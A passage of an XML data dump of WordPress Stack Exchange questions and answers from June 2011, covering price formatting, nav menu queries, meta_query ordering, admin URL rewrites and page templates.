true;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-17T00:19:13.137" />
  <row Id="20223" PostTypeId="1" AcceptedAnswerId="20228" CreationDate="2011-06-17T00:38:05.160" Score="2" ViewCount="83" Body="&lt;p&gt;I have a field on the admin side where a user enters a number for a price. If a user enters 1000000 I'd like to be able to display on the front-end $1,000,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;More details, the post is a custom post type 'property'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add the meta fields on the back-end I'm using Meta Box Script, &lt;a href=&quot;http://www.deluxeblogtips.com/2011/03/meta-box-script-update-v30.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2011/03/meta-box-script-update-v30.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to display the numbers on the front-end I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_post_meta(get_the_ID(), 'rw_propPrice', true); echo $meta;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="4090" LastEditorDisplayName="" LastEditDate="2011-06-17T01:15:42.757" LastActivityDate="2011-06-17T01:25:40.757" Title="Add dollar sign and commas to a number?" Tags="&lt;formatting&gt;" AnswerCount="2" />
  <row Id="20224" PostTypeId="2" ParentId="20223" CreationDate="2011-06-17T01:05:16.537" Score="0" ViewCount="" Body="&lt;p&gt;Just a &lt;strong&gt;guess&lt;/strong&gt; (you really need to be more specific in your Q - what screen, how did you add it, metabox/settings section/bla???)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = get_option( 'your_option_name' ); &#xA;echo '$'.$foo['bar']; // where bar is the searched value in the options array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-17T01:05:16.537" CommentCount="1" />
  <row Id="20225" PostTypeId="2" ParentId="20220" CreationDate="2011-06-17T01:09:26.347" Score="1" ViewCount="" Body="&lt;p&gt;There's a function to get a nav menu as object: &lt;a href=&quot;http://phpdoc.wordpress.org/trunk/WordPress/Nav_Menus/_wp-includes---nav-menu.php.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_nav_menu_object()&lt;/code&gt;&lt;/a&gt; - the items (posts) are inside the object and accessible.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-17T01:09:26.347" CommentCount="1" />
  <row Id="20226" PostTypeId="2" ParentId="20220" CreationDate="2011-06-17T01:13:03.020" Score="1" ViewCount="" Body="&lt;p&gt;I recently needed the same thing, I had menu of categories and I needed to get the categories that in the menu. After a several hours digging in the WP core, I found the &#xA;&lt;strong&gt;wp_get_nav_menu_items()&lt;/strong&gt; function that helped me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finnally came with this, 220 was my menu_id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$navcat = wp_get_nav_menu_items('220');&#xA;    foreach ($navcat as $obj) {&#xA;        $catid = $obj-&amp;gt;object_id;&#xA;        $category = get_category($catid);&#xA;        ...&#xA;        ...&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if you have a nav menu of posts, I assume you can do the same, something like this should work - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nav_items = wp_get_nav_menu_items('220');  &#xA;    foreach ($nav_items as $obj) {&#xA;        $objid = $obj-&amp;gt;object_id;&#xA;        $postobj = get_post($objid);&#xA;&#xA;        //do stuff with the post..&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think it can save you some complexed mySQL query...&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-06-17T01:13:03.020" CommentCount="3" />
  <row Id="20228" PostTypeId="2" ParentId="20223" CreationDate="2011-06-17T01:25:40.757" Score="3" ViewCount="" Body="&lt;p&gt;To format number, you can use the function &lt;code&gt;number_format_i18n&lt;/code&gt; (it's not documented now, but you can see its source &lt;a href=&quot;http://phpxref.com/xref/wordpress/_functions/number_format_i18n.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). Its work is format the number based on the language. You might want to look at &lt;code&gt;number_format&lt;/code&gt; (&lt;a href=&quot;http://www.php.net/manual/en/function.number-format.php&quot; rel=&quot;nofollow&quot;&gt;PHP built_in function&lt;/a&gt;, and is used by &lt;code&gt;number_format_i18n&lt;/code&gt;) to have more control to decimal point and thousand separator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, this code will help you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_post_meta(get_the_ID(), 'rw_propPrice', true);&#xA;echo '$' . number_format($meta, 0, '.', ',');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-17T01:25:40.757" CommentCount="2" />
  <row Id="20229" PostTypeId="1" AcceptedAnswerId="20230" CreationDate="2011-06-17T01:34:31.193" Score="1" ViewCount="36" Body="&lt;p&gt;Is there a way to code &quot;Restore Defaults&quot; button into a plugin options page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing a plugin right now that has sets up some default values on activation (via &lt;code&gt;register_activation_hook&lt;/code&gt;), and I'd like to give users the option to restore those defaults again with a click.  Possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-17T02:00:06.217" Title="Restore a Plugin's Default Settings" Tags="&lt;plugins&gt;&lt;options&gt;" AnswerCount="1" />
  <row Id="20230" PostTypeId="2" ParentId="20229" CreationDate="2011-06-17T02:00:06.217" Score="0" ViewCount="" Body="&lt;p&gt;Nevermind, answered my own question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.keyframesandcode.com/resources/javascript/jQuery/demos/populate-demo.html&quot; rel=&quot;nofollow&quot;&gt;http://www.keyframesandcode.com/resources/javascript/jQuery/demos/populate-demo.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used that to update all the text and drop downs. Couldn't get it to work with my checkboxes, but a few other lines of jQuery took care of those.  I like the idea of just auto filling the form with the defaults, rather than submitting it right away.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-17T02:00:06.217" />
  <row Id="20231" PostTypeId="1" AcceptedAnswerId="20284" CreationDate="2011-06-17T02:18:47.007" Score="3" ViewCount="69" Body="&lt;p&gt;Does anyone know of a plugin that is capable of merging the post meta from one post into another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on re-releasing the Driftwood contact manager theme and I'm trying to find a way to solve the duplicate contact issue. Obviously this question could impact far more people than just myself.  :)&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-17T16:02:12.717" Title="Merge posts plugin?" Tags="&lt;merging&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="20232" PostTypeId="1" AcceptedAnswerId="20523" CreationDate="2011-06-17T02:31:40.393" Score="0" ViewCount="327" Body="&lt;p&gt;I am getting errors like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: explode() expects parameter 2 to be string, array given in /data/www/ae/wp-includes/query.php on line 2390&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;Warning: in_array() expects parameter 2 to be array, null given in /data/www/ae/wp-includes/query.php on line 2399&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whats wrong?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-30T08:41:34.093" Title="Errors in Add Image Popup, Media Library Tab: &quot;in_array() expects parameter 2 to be array, null given in wp-includes/query.php&quot;" Tags="&lt;errors&gt;&lt;media-library&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="20233" PostTypeId="1" CreationDate="2011-06-17T02:46:40.433" Score="1" ViewCount="56" Body="&lt;p&gt;I have a wp_query for a custom post type: events.  I have a seven day calendar that is showing featured events on a page.  Here is the wp_query and supporting code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/1030760&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/1030760&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see the calendar at seattleite.com/calendar/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the thing works great with one exception.  It should be showing a featured event on Sunday.  If I change the order =&gt; 'asc'  to order =&gt; 'desc'  I see the event for sunday but then I lose the event for today.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I simply remove the order =&gt; item then I see what I see if I set order =&gt; 'desc'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how order is affecting my loop?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-06-17T02:46:40.433" Title="How does order=asc effect a wp_query (its acting pretty weird in a loop)" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;wp-query&gt;" />
  <row Id="20234" PostTypeId="1" CreationDate="2011-06-17T03:05:46.990" Score="-1" ViewCount="38" Body="&lt;p&gt;I recently installed the &lt;em&gt;plugin List Category Posts&lt;/em&gt; so that my categories show up on the correlating pages.  It worked great, only it modified they header size, font, and added a horizontal scrollbar instead of wrapping the text to the next line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.knocturnalmag.com/music/&quot; rel=&quot;nofollow&quot;&gt;Example page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click on the header link and go directly to the post, you'll see what it should look like.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to wordpress and not sure how to change the post formatting back to 'normal'.  Any advice would be a great help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6268" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-17T04:10:00.100" LastActivityDate="2011-06-17T04:10:00.100" Title="formatting the way posts show up" Tags="&lt;plugins&gt;&lt;categories&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20236" PostTypeId="2" ParentId="20234" CreationDate="2011-06-17T03:39:06.010" Score="0" ViewCount="" Body="&lt;p&gt;It looks like the plugin displays posts in a list format, wrapping them in a UL and LI element respectively. You could re-purpose your theme's CSS stylesheet to display lists differently, but this could have unexpected results and effect the way lists are displayed on other parts of your site. I suggest instead of using a plugin, learn more about creating custom page templates and modifying the loop to display posts from only one category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Page_Templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/The_Loop&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2011-06-17T03:39:06.010" />
  <row Id="20237" PostTypeId="1" AcceptedAnswerId="20252" CreationDate="2011-06-17T04:29:41.883" Score="3" ViewCount="168" Body="&lt;p&gt;With the following code (in functions.php) my posts (of CPT event) are ordered by _end_date instead of _start_date. What's the proper solution to this as of WP 3.1.3? Of course I'd like to avoid using deprecated &lt;code&gt;meta_key&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts', 'my_get_posts' );&#xA;function my_get_posts( $query ) {&#xA;if ( is_home() ) {&#xA;  $query-&amp;gt;set( 'post_type', 'event' );&#xA;  $query-&amp;gt;set( 'meta_key', '_start_date' );&#xA;  $query-&amp;gt;set( 'orderby', 'meta_value_num' );&#xA;  $query-&amp;gt;set( 'order', 'ASC' );&#xA;  $query-&amp;gt;set( 'meta_query', array(&#xA;                                   array(&#xA;                                         'key' =&amp;gt; '_end_date',&#xA;                                         'value' =&amp;gt; time(),&#xA;                                         'compare' =&amp;gt; '&amp;gt;=',&#xA;                                         'type' =&amp;gt; 'numeric'&#xA;                                        )&#xA;                                   )&#xA;                              );&#xA;  }&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6254" LastActivityDate="2011-06-17T10:07:34.683" Title="Using meta_query, how can i filter by a custom field and order by another one?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;query-posts&gt;&lt;sort&gt;&lt;meta-query&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="20238" PostTypeId="1" CreationDate="2011-06-17T05:36:50.170" Score="1" ViewCount="112" Body="&lt;p&gt;I have created a collectible site and want to allow registered users tag a photo and add it to &quot;Have List&quot; a  &quot;Wish list&quot; or a &quot;Want list&quot;.  I would like for the user to be a ble to see the photos they tagged in their profile.  Can someone please point me in the right direction with code, plugins...etc.  &lt;/p&gt;&#xA;" OwnerUserId="6269" LastActivityDate="2011-06-17T06:51:31.917" Title="How do you allow users tag a photo" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="20240" PostTypeId="1" CreationDate="2011-06-17T06:07:31.850" Score="1" ViewCount="375" Body="&lt;p&gt;for example: foobar.com/wp/edit instead of foobar.com/wp/wp-admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using this in htaccess but it won't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##### ABOVE THIS POINT IS ALREADY INSERTED BY WORD PRESS&#xA;##### Admin Base Rewrite #####&#xA;RewriteCond %{REQUEST_URI} wp-admin/&#xA;RewriteCond %{QUERY_STRING} !sercretword&#xA;RewriteRule .*\.php [F,L]&#xA;RewriteCond %{QUERY_STRING} !secretword&#xA;RewriteRule ^secret_room/(.*) wp-admin/$1?%{QUERY_STRING}&amp;amp;secretword [L]&#xA;##### End Admin Base Rewrite #####&#xA;##### BELOW THIS POINT IS ALREADY INSERTED BY WORD PRESS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It was created by Michi Kono. I just can't get it to work though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not trying to be more secure by obscurity... Its more for functionality. My site will be world editable (kind of like a wiki) but only for registered users. They will go to &quot;/edit&quot; instead of &quot;/wp-admin&quot; to edit or add content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I &lt;em&gt;did&lt;/em&gt; see this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/106/can-i-rename-the-wp-admin-folder&quot;&gt;Can I rename the wp-admin folder?&lt;/a&gt;&#xA;But that doesn't have an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Stealth Admin plugin doesn't seem to do the trick either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I tried this solution: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4037/how-to-redirect-rewrite-all-wp-login-requests/4063#4063&quot;&gt;How to redirect/rewrite all /wp-login requests&lt;/a&gt;&#xA;But I'm not sure where in the htaccess file to place the rewrite rule with respect to the wordpress rules.&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-06-17T06:30:44.530" LastActivityDate="2011-07-09T13:57:49.293" Title="How to change &quot;wp-admin&quot; to something else without search-replacing the core?" Tags="&lt;wp-admin&gt;&lt;url-rewriting&gt;&lt;htaccess&gt;&lt;security&gt;" AnswerCount="2" />
  <row Id="20241" PostTypeId="2" ParentId="20240" CreationDate="2011-06-17T06:41:28.013" Score="1" ViewCount="" Body="&lt;p&gt;You can try the &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt; plugin, it's great for exactly that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also for example setup a subdomain that makes a transparent redirect, as in : &lt;a href=&quot;http://admin.mywebsite.com/&quot; rel=&quot;nofollow&quot;&gt;http://admin.mywebsite.com/&lt;/a&gt; which you would redirect to your wp-admin/ folder. But then I think people would still see the wp-admin/ in all the links (on hover for ex).&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-27T05:30:50.370" LastActivityDate="2011-06-27T05:30:50.370" CommentCount="9" />
  <row Id="20242" PostTypeId="2" ParentId="20238" CreationDate="2011-06-17T06:51:31.917" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy_for_object_type&quot; rel=&quot;nofollow&quot;&gt;register_taxonomy_for_object_type()&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/496/can-i-add-a-category-metabox-to-attachment&quot;&gt;this&lt;/a&gt; discussion, this might get you started.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-17T06:51:31.917" />
  <row Id="20243" PostTypeId="2" ParentId="20194" CreationDate="2011-06-17T06:51:52.720" Score="0" ViewCount="" Body="&lt;p&gt;xDebug and Webgrind is very usefull for an great work; but maybe you will read more as example in this &lt;a href=&quot;http://wpengineer.com/2011/our-wordpress-developer-toolbox/&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-17T06:51:52.720" CommunityOwnedDate="2011-06-17T06:51:52.720" />
  <row Id="20244" PostTypeId="1" CreationDate="2011-06-17T06:58:53.260" Score="1" ViewCount="83" Body="&lt;p&gt;I apologize if this is a newbie question, but I am very new to working with WP template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a campaign site (that I unfortunately can't show you before the launch in a couple weeks). I'm using a static home page, and I've managed to create a template that displays posts (title, date, excerpt) below the static content. Now I'm working on the issues page and I would love to be able to put dynamic post data within the static content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate here's some dummy content:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Economy&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;we have to make jobs blah blah&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For more on my stand on the economy, go to my blog:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[insert three most recent posts in the &quot;economy&quot; category here]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Environment&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Go green, blah blah blah&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For more on my stand on the environment, go to my blog:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[insert three most recent posts in the &quot;environment&quot; category here]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, is this possible? I tried creating a new template and writing the static content directly into the php file and then for each section from the blog using the same code I used on the home page except with an extra query element for category. That didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I can't find anything like this on any forums, or any example websites really. It would be AWESOME if this is relatively easily possible, but if not it wouldn't be the end of the world to just add manual links to the page as we write more posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much!!&lt;/p&gt;&#xA;" OwnerUserId="6271" LastActivityDate="2011-06-17T09:54:05.470" Title="Placing post data (title, date, and excerpt) nested in static content" Tags="&lt;query-posts&gt;&lt;static&gt;" AnswerCount="2" />
  <row Id="20245" PostTypeId="2" ParentId="20210" CreationDate="2011-06-17T07:07:25.627" Score="0" ViewCount="" Body="&lt;p&gt;Here's an example that will list all the &lt;code&gt;mobile_review&lt;/code&gt; posts that have the term &lt;code&gt;htc_desire_hd&lt;/code&gt; in the taxonomy &lt;code&gt;mobile_phone&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax_query = array( 'relation' =&amp;gt; 'AND' );&#xA;&#xA;$tax_query[] = array( &#xA;    'taxonomy' =&amp;gt; 'mobile_phone', &#xA;    'terms' =&amp;gt; array('htc_desire_hd'),&#xA;    'field' =&amp;gt; 'slug' &#xA;);&#xA;&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'mobile_review',&#xA;    'tax_query' =&amp;gt; $tax_query&#xA;);&#xA;&#xA;$custom_loop = new WP_Query( $args ); &#xA;&#xA;if ( $custom_loop-&amp;gt;have_posts() ) :&#xA;&#xA;    while( $custom_loop-&amp;gt;have_posts() ) : $custom_loop-&amp;gt;the_post(); &#xA;&#xA;            the_title();&#xA;&#xA;    endwhile;&#xA;&#xA;else :&#xA;&#xA;    _e('Sorry, nothing here.');&#xA;&#xA;endif;&#xA;&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can have the phones reviews by phone model, you just need to change the phone names, pass the name from a form, URL, etc. &lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-17T07:07:25.627" />
  <row Id="20246" PostTypeId="2" ParentId="20244" CreationDate="2011-06-17T07:22:49.723" Score="2" ViewCount="" Body="&lt;p&gt;Maybe take a look inside the 2010 theme that comes packaged with WP, index.php shows a call to a loop file: &lt;code&gt;&amp;lt;?php get_template_part( 'loop', 'index' ); ?&amp;gt;&lt;/code&gt;  so you could (well this is how i would do it, cos i think it looks neater, &lt;a href=&quot;http://codex.wordpress.org/The_Loop#Multiple_Loops_Example_2&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;but you could use multiple loops&lt;/strong&gt;&lt;/a&gt;) create 2 &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;new loop files&lt;/strong&gt;&lt;/a&gt; for example they could be called &lt;code&gt;loop-economy.php&lt;/code&gt; and &lt;code&gt;loop-enviroment.php&lt;/code&gt; both of these loops set to call only posts from there respective categories and then use:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'loop', 'economy' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where you want the economy posts to show in your template and then use:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'loop', 'environment' ); ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where you want the environment posts to show in your template&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-17T07:31:12.383" LastActivityDate="2011-06-17T07:31:12.383" CommentCount="1" />
  <row Id="20247" PostTypeId="1" AcceptedAnswerId="20249" CreationDate="2011-06-17T08:26:47.243" Score="1" ViewCount="79" Body="&lt;p&gt;I would like to add a public profile page to the authors and others contributors in my site. where visitors can see their profile info. &#xA;I dont wanna use Buddypress, is it possible with WordPress alone?&lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2011-06-17T08:52:10.003" Title="How to create a public profile for authors/contributors/users in WordPress" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="20248" PostTypeId="1" CreationDate="2011-06-17T08:46:22.427" Score="0" ViewCount="40" Body="&lt;p&gt;If you view the source code on my website, &lt;a href=&quot;http://loneplacebo.com&quot; rel=&quot;nofollow&quot;&gt;loneplacebo.com&lt;/a&gt;, you'll notice that only the comment&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--stats_footer_test--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is shown above the . The plugin doesn't seem to be adding the necessary javascript code to track my site's traffic. I tried deactivating and reactivating the plugin to no avail.&lt;/p&gt;&#xA;" OwnerUserId="5946" LastActivityDate="2011-08-18T03:26:14.140" Title="[Plugin: WordPress.com Stats] Javascript not being added to footer" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20249" PostTypeId="2" ParentId="20247" CreationDate="2011-06-17T08:52:10.003" Score="1" ViewCount="" Body="&lt;p&gt;bainternet posted something in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9775/how-to-edit-a-user-profile-on-the-front-end&quot;&gt;&lt;strong&gt;this thread&lt;/strong&gt;&lt;/a&gt; that will help you, (this is actually editing user profiles from frontend) but it will give you the idea, then just echo the fields out on &lt;a href=&quot;http://codex.wordpress.org/Author_Templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;author.php&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-17T08:52:10.003" CommentCount="1" />
  <row Id="20250" PostTypeId="1" AcceptedAnswerId="20493" CreationDate="2011-06-17T09:13:35.973" Score="1" ViewCount="87" Body="&lt;p&gt;I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      $args=array(&#xA;        'public'   =&amp;gt; true,&#xA;        '_builtin' =&amp;gt; false&#xA;      );&#xA;      ?&amp;gt;&#xA;      &amp;lt;select id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('posttype'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('posttype'); ?&amp;gt;&quot;&amp;gt;&#xA;          &amp;lt;?php foreach(get_post_types($args,'names') as $post_type) { ?&amp;gt;&#xA;              &amp;lt;option &amp;lt;?php selected( $instance['posttype'], $post_type ); ?&amp;gt; value=&quot;&amp;lt;?php echo $post_type; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $post_type; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;          &amp;lt;?php } ?&amp;gt;      &#xA;      &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I make custom posts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_post_type_interior_articles() {&#xA;        register_post_type( 'interior_articles',&#xA;                    array( &#xA;                    'label' =&amp;gt; __('Interior Design Articles'), &#xA;                    'public' =&amp;gt; true, &#xA;                    'show_ui' =&amp;gt; true,&#xA;                    'show_in_nav_menus' =&amp;gt; false,&#xA;                    'menu_position' =&amp;gt; 5,&#xA;                    'supports' =&amp;gt; array(&#xA;                            'title',&#xA;                            'custom-fields',&#xA;                            'editor',&#xA;                            'excerpt',&#xA;                            'thumbnail')&#xA;                        ) &#xA;                    );&#xA;    }&#xA;&#xA;    add_action('init', 'my_post_type_interior_articles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in dropdown shows &lt;strong&gt;&quot;interior_articles&quot;&lt;/strong&gt;, but i need to show &lt;strong&gt;&quot;Interior Design Articles&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to show cutom post labels in options?&lt;/p&gt;&#xA;" OwnerUserId="6249" LastEditorUserId="6249" LastEditorDisplayName="" LastEditDate="2011-06-20T07:04:12.037" LastActivityDate="2011-06-20T12:36:00.927" Title="How to show cutom post labels in options?" Tags="&lt;custom-post-types&gt;&lt;dropdown&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="20251" PostTypeId="2" ParentId="20244" CreationDate="2011-06-17T09:54:05.470" Score="0" ViewCount="" Body="&lt;p&gt;I'd create a page, and put in your text content &quot;Economy...we have to make jobs blah blah&quot;. Make a new page template, and apply it to your page. Then keeping the normal page content, add in a call to get_posts to display your posts underneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your text above is editable, and your posts from the category are shown...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: My Template&#xA;*/&#xA;&#xA;get_header(); ?&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;page&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php &#xA;    endwhile;&#xA;&#xA;    global $post;&#xA;    $myposts = get_posts('numberposts=-1&amp;amp;category=1');&#xA;    foreach($myposts as $post) :&#xA;        setup_postdata($post);&#xA;    ?&amp;gt;&#xA;        &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a 